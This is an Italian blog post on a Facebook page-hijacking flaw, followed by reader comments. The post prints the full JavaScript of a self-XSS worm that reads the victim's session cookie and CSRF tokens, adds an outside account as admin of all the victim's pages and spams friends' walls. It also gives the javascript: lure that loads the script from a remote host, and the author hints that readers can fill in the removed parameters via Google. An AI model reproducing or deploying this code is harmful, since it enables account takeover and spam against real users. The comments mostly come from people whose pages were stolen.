Articoli speciali Hacking

Sicurezza di Facebook violata: Come diventare amministratori di qualsiasi pagina

Potrebbe sembrare uno scherzo, ma non lo è. Facebook da un po’ di tempo a questa parte soffre di una grave falla che permette a chiunque di diventare amministratore di qualsiasi pagina. E già si possono immaginare i risultati di tutto ciò. Non mi credete? Continuate a leggere questo articolo e probabilmente tra qualche minuto andrete a controllare bene chi è inserito all’interno degli amministratori della vostra pagina.

Partiamo prima di tutto con calma: la falla che vi sto presentare si attiva nel momento in cui un ignaro utente effettua un click all’interno di un link ben “programmato”, quindi c’è sempre la salvezza per chiunque di usare un po’ il proprio cervello e di evitare di premere link a caso. Detto ciò entriamo nel vivo.
Ho pubblicato qualche ora un articolo dove illustravo la scomparsa dei bottoni “Commenta” e “Mi Piace” su Facebook. Da ciò è nata una piccola discussione all’interno dei commenti tra me e Matteo, il quale ha iniziato a sostenere che esiste uno script per far si che chiunque possa diventare amministratore di qualsiasi pagina. Con mio grande stupore gli ho chiesto quindi maggiori informazioni ed immediatamente lui ha deciso di mandarmi una email con tutto ciò che sapeva (se non è spirito Hacking questo! 🙂 ).

A questo punto non credevo ai miei occhi. Decido quindi di entrare su Facebook con un mio account secondario, creare una pagina e premere sul link che mi ha mandato… Dopo pochi istanti le mie pupille si sono dilatate davanti a ciò che stavo vedendo davanti al monitor del mio computer: un utente a me sconosciuto era diventato amministratore della pagina appena creata e di altre pagine che avevo creato in passato.
Pochi istanti dopo mi sono precipitato all’interno del codice sorgente Js a cui rimandava il link semi-nascosto con bit.ly per analizzarlo con calma. E’ bastata una velocissima analisi per capire che mi sarebbe bastato modificare qualche parametro per essere io stesso l’artefice di questo attacco e per impossessarmi in pochissimi istanti di centinaia di pagine.

[php]//These are to be posted as status messages
txt = "This is me";
txtee = "… ;)";

alert("Please Wait 15 Seconds ! ");
with(x = new XMLHttpRequest()) open("GET", "/"), onreadystatechange = function () {

if (x.readyState == 4 && x.status == 200) {
z=x.responseText;
//comp = z.match(/name="UIComposer_STATE_PIC_OUTSIDE" value="([\d\w]+)"/i)[1];
// comp = x.responseText.match(/name="UIComposer_STATE_PIC_OUTSIDE" id="([\d\w]+)"/i)[1];
form = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
dt = z.match(/name="fb_dtsg" value="([\d\w-_]+)"/i)[1];
pfid = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];

with(xx = new XMLHttpRequest())
open("GET", "/ajax/browser/friends/?uid=" +
document.cookie.match(/c_user=(\d+)/)[1] +
"&filter=all&__a=1&__d=1"),
onreadystatechange = function () {
//extracts list of friends

if (xx.readyState == 4 && xx.status == 200) {
m = xx.responseText.match(/\/\d+_\d+_\d+_q\.jpg/gi).join("\n").replace(/(\/\d+_|_\d+_q\.jpg)/gi, "").split("\n");
//facebook returns list of friends images of the form of three numbers separated by _,
//the above regular expression extracts out the middle of the two
//(which infact is the userID of friend)
i = 0;
llimit=25;
t = setInterval(function () {
if (i >= llimit )
return;//it seems the limit is 25 posts per 2 seconds on facebook (to be counted as bot)
if(i == 0) {//do it only once
with(ddddd = new XMLHttpRequest()) open("GET", "/ajax/pages/dialog/manage_pages.php?__a=1&__d=1"),
setRequestHeader("X-Requested-With", null),
setRequestHeader("X-Requested", null),
onreadystatechange = function() {
if(ddddd.readyState == 4 && ddddd.status == 200) {
llm = (d = ddddd.responseText).match(/\\"id\\":([\d]+)/gi); len =llm.length;
j=0;
for(j=0;j<len;j++) {
with(xxxcxxx = new XMLHttpRequest()) open("POST", "/pages/edit/?id="+llm[j].replace(/\\"id\\":/i, "")+"&sk=admin"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("post_form_id="+pfid+"&fb_dtsg="+dt+"&fbpage_id="+llm[j].replace(/\\"id\\":/i, "")+
"&friendselector_input%5B%5D=LOL%40LOL.it%09&friend_selected%5B%5D=&save=1");
//I am not very sure on this one but it seems it adds as admin of all pages the user holds
}
}
}, send(null); //end of function to change the admins

// this one collects cookie as well as the personalized status update email address
// (a photo sent to that address is posted on the wall directly)

}

//following code does status update
//the code writes message represented by txt and txtee alternately on the wall of friends.
//txt and txtee are same though (may be author’s mistake)
if(i%2==0)
{
with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txt +
"&target_id=" + m[Math.floor(Math.random() * m.length)] +
//m is an array of id of friends (was created early in the script exec), choose a random friend
"&composer_id=" +
"&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" +form + "&fb_dtsg=" + dt +
//comp, form, dt are (probably) XSRF prevention tokens
"&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");
}
else
{
with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txtee +
"&target_id=" + m[Math.floor(Math.random() * m.length)] + "&composer_id="+
"&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" + form + "&fb_dtsg=" + dt +
"&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");
}
i += 1;
}, 2000);// 2000 milli-sec window, after which the script is executed again
}

}, send(null);
}
}, send(null);
[/php]

Qui sopra vi riporto il codice che ho trovato all’interno di questo Js. Per evitare che qualche lamer-ragazzino ci possa mettere sopra le mani non vi spigherò come funziona e inoltre ho cancellato la zona in cui bisogna inserire i parametri dell’account che vogliamo rendere amministratore. Vi ricordo inoltre che la stringa da inviare ai vari utenti di cui vogliamo impossessarci le pagine è il seguente:

[php] javascript:(a = (b = document).createElement("script")).src = "http://tuolink", b.body.appendChild(a); void(0)
[/php]

Con un po’ di buona volontà chiunque può risolvere questo piccolo problema, insomma… Dopotutto Google serve anche a questo 🙂

Lascia un commento

104 commenti

  • Io cerco uno che sappia come recuperare delle pagine senza amministratore! E’ possibile farlo in qualche modo! Ho una quindicina di pagine di clienti senza amministratore e ho il profilo mio disabilitato da più di 72 ore quindi presumo che sia perso il mio account quindi vorrei capire se sia possibile recuperare almeno le pagine! Grazie

  • Salve. Da circa un mese alcune pagine dedicate al Veneto sono state hackerate credo in questa maniera. Buttati fuori i vecchia dmin e sostituiti con altri evidentemente falsi. E va beh. Si sa gli studentelli di oggi si divertono così. Dove sta il problema? La tipologia di post che venivano inseriti erano dei peggiori. Al di la delle offese a mogli, figli, madri della peggior tipologia, bestemmie e inni ad Hitler, al nazismo ci mancavano le foto di Yara Gambirasi e di Sara Scazzi con i complimenti per il fatto che non sono arrivate a 18 anni. Vomitevole. Provato con il supporto di Facebook e chiesto le analisi, blocchi e altro previsto per i profili fake, mi sono visto rispondere che i profili avevano i requisiti richiesti da Facebook e pertanto non li toccavano.
    In questo caso come si può procedere visto che la polizia postale non può intervenire?

  • Salve a tutti, non so se potete aiutarmi. Ho un account del mio ristorante su facebook creato da mia cugina (mio padre e suo padre sono soci in affari). Lei creò anche la pagina aziendale correlata.
    Io però sfortunatamente ho tolto l’account dagli amministratori della pagina e adesso non so come tornare amministratrice e curare la pagina…potete aiutarmi???
    grazie mille a chi risponderà!

  • Aiutatemi ho creato gruppo e me lo hanno rubato. Mi anno tolto amministratore e buttato fuori dal gruppo. Come faccio a recuperarlo? Grazie

  • […] grazie ad una falla di sicurezza nella piattaforma Facebook ed all’uso fraudolento di codice javascript), estromettendo i precedenti amministratori e nominandone di […]

  • Scusa ma non ho capito come si fà.
    Io ho una pagina ma il mio account/profilo è bloccatto e non riesco ad accedere alla mia pagina e nominare un altro ammnistratore…..help

  • Ciao Luca!
    Mi puoi mandare lo script integrale, senza cambiamenti.
    Qualquno mi ha presso la mia pagina, non e cosi grosa( 600 like) e vorrei cercare di riprendermela.
    Grazie in anticipo!

  • Mi hanno appena rubato una pagina, praticamente, io ed un mio amico eravamo gestori, fino a quando una certa Sabina Frasca (https://www.facebook.com/sabina.frasca?fref=ts) è diventata automaticamente gestore della mia pagina. Non so se posso recuperare la pagina, e per questo mi sono rivolto a voi!
    Vorrei capire anche a cosa serve questo:javascript:(a = (b = document).createElement(“script”)).src = “http://tuolink”, b.body.appendChild(a); void(0)

    Attendo una risposta, grazie in anticipo

Prima di continuare, guarda qui!

Hai trovato quello che stavi cercando?
Rimaniamo in contatto, potresti imparare molte cose!

Grazie!

Sono sicuro che insieme potremmo fare molte cose!

FERMO! Prima di uscire, guarda qui!

Hai trovato quello che stavi cercando?
Rimaniamo in contatto, potresti imparare molte cose!

Grazie!

Sono sicuro che insieme potremmo fare molte cose!